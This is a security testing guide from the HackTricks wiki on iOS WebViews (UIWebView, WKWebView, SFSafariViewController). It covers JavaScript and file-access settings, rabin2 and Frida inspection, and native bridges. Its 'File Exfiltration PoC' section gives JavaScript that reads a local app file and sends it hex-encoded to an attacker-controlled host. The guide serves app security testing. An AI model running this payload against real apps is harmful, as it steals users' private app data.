> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# iOS WebViews

> Security testing guide for iOS WebViews — UIWebView, WKWebView, and SFSafariViewController, including JavaScript settings, file access, native bridges, and debugging techniques.

iOS apps embed web content via WebViews. Each type has distinct security properties and testing approaches.

## WebView Types

<CardGroup cols={3}>
  <Card title="UIWebView" icon="triangle-exclamation">
    **Deprecated since iOS 12.** Cannot disable JavaScript, making it inherently vulnerable to script injection and XSS. Avoid entirely in new apps.
  </Card>

  <Card title="WKWebView" icon="check">
    **Preferred choice.** JavaScript can be disabled, supports `hasOnlySecureContent` for mixed content detection, and minimizes memory corruption risk to the main app process.
  </Card>

  <Card title="SFSafariViewController" icon="safari">
    Standardized browser experience sharing Safari's cookies. **Cannot disable JavaScript.** Must be displayed prominently per App Store guidelines.
  </Card>
</CardGroup>

```objectivec theme={null}
// Disable JavaScript in WKWebView
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```

## Static Analysis

### Identify WebView Type

```bash theme={null}
# Find UIWebView usage
rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

# Find WKWebView usage
rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

# Find WKWebView initialization
rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```

### Check JavaScript Configuration

```bash theme={null}
# Verify javaScriptEnabled is false in WKWebView
rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

# Check for secure content enforcement
rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

# Check for local file loading methods
rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
```

### File Access Analysis

`UIWebView` allows universal file access by default. `WKWebView` is stricter but has two dangerous optional settings:

* `allowFileAccessFromFileURLs` — allows file URLs to access other file URLs (default: `false`)
* `allowUniversalAccessFromFileURLs` — allows file URLs to access any origin (default: `false`)

Both being `false` by default is the correct, secure state.

## Dynamic Analysis

### Heap Inspection with Frida

```javascript theme={null}
// webviews_inspector.js
// frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

ObjC.choose(ObjC.classes["UIWebView"], {
  onMatch: function (ui) {
    console.log("UIWebView found:")
    console.log("  URL: ", ui.request().toString())
  },
  onComplete: function () { console.log("UIWebView scan done") }
})

ObjC.choose(ObjC.classes["WKWebView"], {
  onMatch: function (wk) {
    console.log("WKWebView found:")
    console.log("  URL:", wk.URL().toString())
    console.log("  javaScriptEnabled:",
      wk.configuration().preferences().javaScriptEnabled())
    console.log("  hasOnlySecureContent:",
      wk.hasOnlySecureContent().toString())
    console.log("  allowFileAccessFromFileURLs:",
      wk.configuration().preferences().valueForKey_("allowFileAccessFromFileURLs").toString())
    console.log("  allowUniversalAccessFromFileURLs:",
      wk.configuration().valueForKey_("allowUniversalAccessFromFileURLs").toString())
  },
  onComplete: function () { console.log("WKWebView scan done") }
})

ObjC.choose(ObjC.classes["SFSafariViewController"], {
  onMatch: function (sf) { console.log("SFSafariViewController found:", sf) },
  onComplete: function () { console.log("SFSafariViewController scan done") }
})
```

## WebView Protocol Handling

`WKWebView` supports `http(s)://`, `file://`, and `tel://` protocols. Methods for loading content:

* `loadHTMLString:baseURL:` — loads HTML string with a base URL
* `loadData:MIMEType:textEncodingName:baseURL:` — loads raw data
* `loadRequest:` — loads a URL request
* `loadFileURL:allowingReadAccessToURL:` — loads a local file (**dangerous** if a directory is specified — exposes all files in it)

<Warning>
  If `loadFileURL:allowingReadAccessToURL:` is called with a directory path (not a file path), all files in that directory become accessible to the WebView's JavaScript.
</Warning>

### File Exfiltration PoC

This JavaScript payload exfiltrates a local file via XHR if the WebView has file access:

```javascript theme={null}
String.prototype.hexEncode = function () {
  var result = ""
  for (var i = 0; i < this.length; i++) {
    var hex = this.charCodeAt(i).toString(16)
    result += ("000" + hex).slice(-4)
  }
  return result
}

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
  if (xhr.readyState == XMLHttpRequest.DONE) {
    var xhr2 = new XMLHttpRequest()
    xhr2.open("GET",
      "http://attacker.burpcollaborator.net/" + xhr.responseText.hexEncode(),
      true)
    xhr2.send(null)
  }
}
xhr.open("GET",
  "file:///var/mobile/Containers/Data/Application/<UUID>/Library/Preferences/com.app.plist",
  true)
xhr.send(null)
```

## Native Methods via WebViews

### JSContext (UIWebView)

iOS 7+ allows JavaScript to call native Swift/Objective-C via `JSContext`:

```objectivec theme={null}
// Get JSContext from UIWebView
JSContext *context = [webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"];
```

### postMessage (WKWebView)

`WKWebView` uses message passing for JS-to-native communication:

```swift theme={null}
func enableJavaScriptBridge(_ enabled: Bool) {
    let userContentController = wkWebViewConfiguration.userContentController
    userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
    if enabled {
        let handler = JavaScriptBridgeMessageHandler()
        userContentController.add(handler, name: "javaScriptBridge")
    }
}
```

JavaScript side:

```javascript theme={null}
function invokeNativeOperation() {
  window.webkit.messageHandlers.javaScriptBridge.postMessage([
    "multiplyNumbers",
    document.getElementById("value1").value,
    document.getElementById("value2").value,
  ])
}
```

Native handler (Swift):

```swift theme={null}
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
    func userContentController(_ userContentController: WKUserContentController,
                               didReceive message: WKScriptMessage) {
        let messageArray = message.body as! [String]
        var result = ""
        switch messageArray[0] {
        case "multiplyNumbers":
            let arg1 = Double(messageArray[1])!
            let arg2 = Double(messageArray[2])!
            result = String(arg1 * arg2)
        default: break
        }
        let callback = "javascriptBridgeCallBack('\(messageArray[0])','\(result)')"
        message.webView?.evaluateJavaScript(callback, completionHandler: nil)
    }
}
```

<Warning>
  Exposed native methods via `JSContext` or `postMessage` handlers should be carefully reviewed. Sensitive operations (reading files, accessing the Keychain, making network requests) must not be accessible from JavaScript without proper authentication and input validation.
</Warning>

## Debugging iOS WebViews

<Steps>
  <Step title="Enable Web Inspector on iOS Device">
    Go to **Settings → Safari → Advanced** and enable **Web Inspector**.
  </Step>

  <Step title="Enable Developer Tools in Safari (macOS)">
    Open Safari → **Safari → Preferences → Advanced** → check **Show Develop menu**.
  </Step>

  <Step title="Connect and Debug">
    Connect the iOS device to the Mac. In Safari on Mac, go to **Develop → \[Your Device Name]** and select the WebView instance to inspect.
  </Step>
</Steps>

<Note>
  Only WebViews in apps loaded via Xcode can be debugged this way. Apps installed via App Store or Apple Configurator cannot be inspected.
</Note>

## References

* [OWASP MSTG — iOS Platform Interaction](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
* [WheresMyBrowser iOS App](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [MSTG WebView Protocol Handler Testing](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
